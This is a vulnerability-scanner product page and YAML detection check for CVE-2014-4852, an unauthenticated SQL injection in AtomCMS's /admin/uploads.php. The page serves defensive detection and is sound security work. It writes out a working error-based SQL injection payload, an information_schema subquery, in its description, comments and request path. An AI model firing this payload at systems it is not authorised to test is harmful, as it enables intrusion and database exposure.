AtomCMS — 1 vulnerability check

noctis ships 1 vulnerability check for AtomCMS, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Digital Craft AtomCMS File Upload / SQL Injection

CVECVE-2014-4852
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionhttp_request, match · highest QoD 75
Feedtests/vulnerabilities/atomcms/CVE-2014-4852.yaml

Tests Digital Craft AtomCMS for the arbitrary file upload and error-based SQL injection in /admin/uploads.php. The `id` parameter is injectable; a crafted subquery makes the backend leak its "UPDATE users SET avatar" statement in the response body, confirming unauthenticated SQL injection.

How noctis detects it

  1. HTTP(S) request GET /admin/uploads.php?id=1 and(select 1 FROM(select count(*),concat((select (select conc…
  2. Checks resp.body for UPDATE users SET avatar → finding QoD 75: AtomCMS error-based SQLi confirmed on /admin/uploads.php — response leaked: …

References:

Feed source — tests/vulnerabilities/atomcms/CVE-2014-4852.yaml
# Digital Craft AtomCMS Arbitrary File Upload and SQL Injection — CVE-2014-4852
#
# AtomCMS exposes /admin/uploads.php with an unsanitised `id` parameter that is
# concatenated directly into a SQL query, allowing error-based SQL injection
# (and an arbitrary file-upload path via the same admin tooling). An injected
# subquery provokes the backend to echo the offending UPDATE statement
# ("UPDATE users SET avatar ...") in the response body, confirming the flaw.
#
# Detection (safe, error-based SQLi) — ports the NASL http_vuln_check verbatim:
#   GET /admin/uploads.php?id=1 and(select 1 FROM(select count(*),concat((select
#       (select concat(database())) FROM  information_schema.tables LIMIT 0,1),
#       floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)
#   pattern="UPDATE users SET avatar", extra_check=make_list("id", ">Table").
#   Vulnerable  → the admin uploads page (">Table", "id") leaks the backend
#                 "UPDATE users SET avatar" statement for the injected query.
#   Patched     → serves the same admin uploads page WITHOUT the SQL leak.
#
# Ported from OpenVAS/Greenbone NVT
#   2014/gb_atomcms_id_file_upload_n_sql_inj_vuln.nasl (GPL-2.0-only).
uid: 5af77713-d0fa-4f4c-a10f-c9a7a02044b4
name: "Digital Craft AtomCMS File Upload / SQL Injection (CVE-2014-4852)"
description: |
  Tests Digital Craft AtomCMS for the arbitrary file upload and error-based
  SQL injection in /admin/uploads.php. The `id` parameter is injectable; a
  crafted subquery makes the backend leak its "UPDATE users SET avatar"
  statement in the response body, confirming unauthenticated SQL injection.
cves: [CVE-2014-4852]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [atomcms, digital-craft, sqli, file-upload, web]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-4852"
  - "OpenVAS/Greenbone NASL 2014/gb_atomcms_id_file_upload_n_sql_inj_vuln.nasl (GPL-2.0-only)"

steps:
  - id: sqli-probe
    action: http_request
    method: GET
    path: "/admin/uploads.php?id=1 and(select 1 FROM(select count(*),concat((select (select concat(database())) FROM  information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: resp

  - id: match-sqli
    action: match
    source: resp.body
    pattern: "UPDATE users SET avatar"
    # NASL http_vuln_check extra_check: make_list("id", ">Table") — the admin
    # uploads table must also be rendered, so the injected UPDATE leak alone
    # (without the real admin page markers) does not fire.
    condition: 'resp.body.contains(">Table") && resp.body.contains("id")'
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "AtomCMS error-based SQLi confirmed on /admin/uploads.php — response leaked: {{resp.body}}"
      stop: true

View these feeds on GitHub